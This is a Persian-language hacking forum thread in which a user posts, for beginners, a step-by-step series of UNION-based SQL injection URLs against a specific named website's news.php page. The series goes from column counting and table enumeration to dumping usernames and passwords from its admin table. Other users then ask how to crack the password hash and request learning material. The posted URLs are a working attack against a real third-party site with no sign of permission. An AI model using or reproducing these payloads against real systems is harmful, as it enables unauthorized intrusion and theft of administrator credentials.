هک سایت با باگ sql

[redcat]

سلام دوستان یک دورک برای تازه وارد ها اوردم که به صورت دستی راحت بتونن تست کنن

http://www.cr-led.com/news.php?id=4%20order%20by%2013--

http://www.cr-led.com/news.php?id=4%20union%20select%201,2,3,4,5,6,7,8,9 ,10,11,12,13--

http://www.cr-led.com/news.php?id=-4%20union%20select%201,2,group_concat(table_name), 4,5,6,7,8,9,10,11,12,13%20from%20information_schem a.tables--

http://www.cr-led.com/news.php?id=-4%20union%20select%201,2,group_concat(table_name), 4,5,6,7,8,9,10,11,12,13%20from%20information_schem a.tables%20where%20table_schema=database()--

http://www.cr-led.com/news.php?id=-4%20union%20select%201,2,group_concat(column_name) ,4,5,6,7,8,9,10,11,12,13%20from%20information_sche ma.columns%20where%20table_name=%27admin%27--

http://www.cr-led.com/news.php?id=-4%20union%20select%201,2,group_concat(username,pas sword),4,5,6,7,8,9,10,11,12,13%20from%20admin--

اینم سایت این پایین بعدا سایت های بیشتری با بایپس های خفن براتون میزارم

http://www.cr-led.com/news.php?id=4

[A0L0I1]

سلام وقت بخیر برای پسووردش چی راه حلی داری که از هش در بیاد

[vaheeed]

سلام ، میشه در مورد اش توضیح هم بدید؟
چیزی که من تا الان خونده بودم این بود که باید با اضافه کردن ' یا " ببینیم اگر خطا داد یعنی باگ sqli داره و بعد باقی مراحل که پیدا کردن تعداد ستون ها و ... است
اگر مقاله ای یا کتابی یا نوشته ای دارید معرفی کنید خودم مطالعه کنم هم خیلی عالی میشه

[SafeMaster]

سلام دوست عزیز

این تاپیک را مطالعه کنید :

https://www.iranhack.com/forum/forum/%D8%A7%D8%A8%D8%B2%D8%A7%D8%B1%D9%87%D8%A7-%D9%88-%D9%81%D9%86%D9%88%D9%86-%D8%AD%D9%85%D9%84%D9%87-%D9%88-%D8%A7%DB%8C%D9%85%D9%86%DB%8C/%D8%A2%D9%85%D9%88%D8%B2%D8%B4-%D9%87%D8%A7%DB%8C-%D8%AA%D8%B5%D9%88%DB%8C%D8%B1%DB%8C-aa/17717-%D8%AA%D8%A7%D9%BE%DB%8C%DA%A9-%D9%87%DA%A9%D8%B1-%D9%87%D8%A7%DB%8C-%D8%AA%D8%A7%D8%B2%D9%87-%D9%88%D8%A7%D8%B1%D8%AF?p=131648#post131648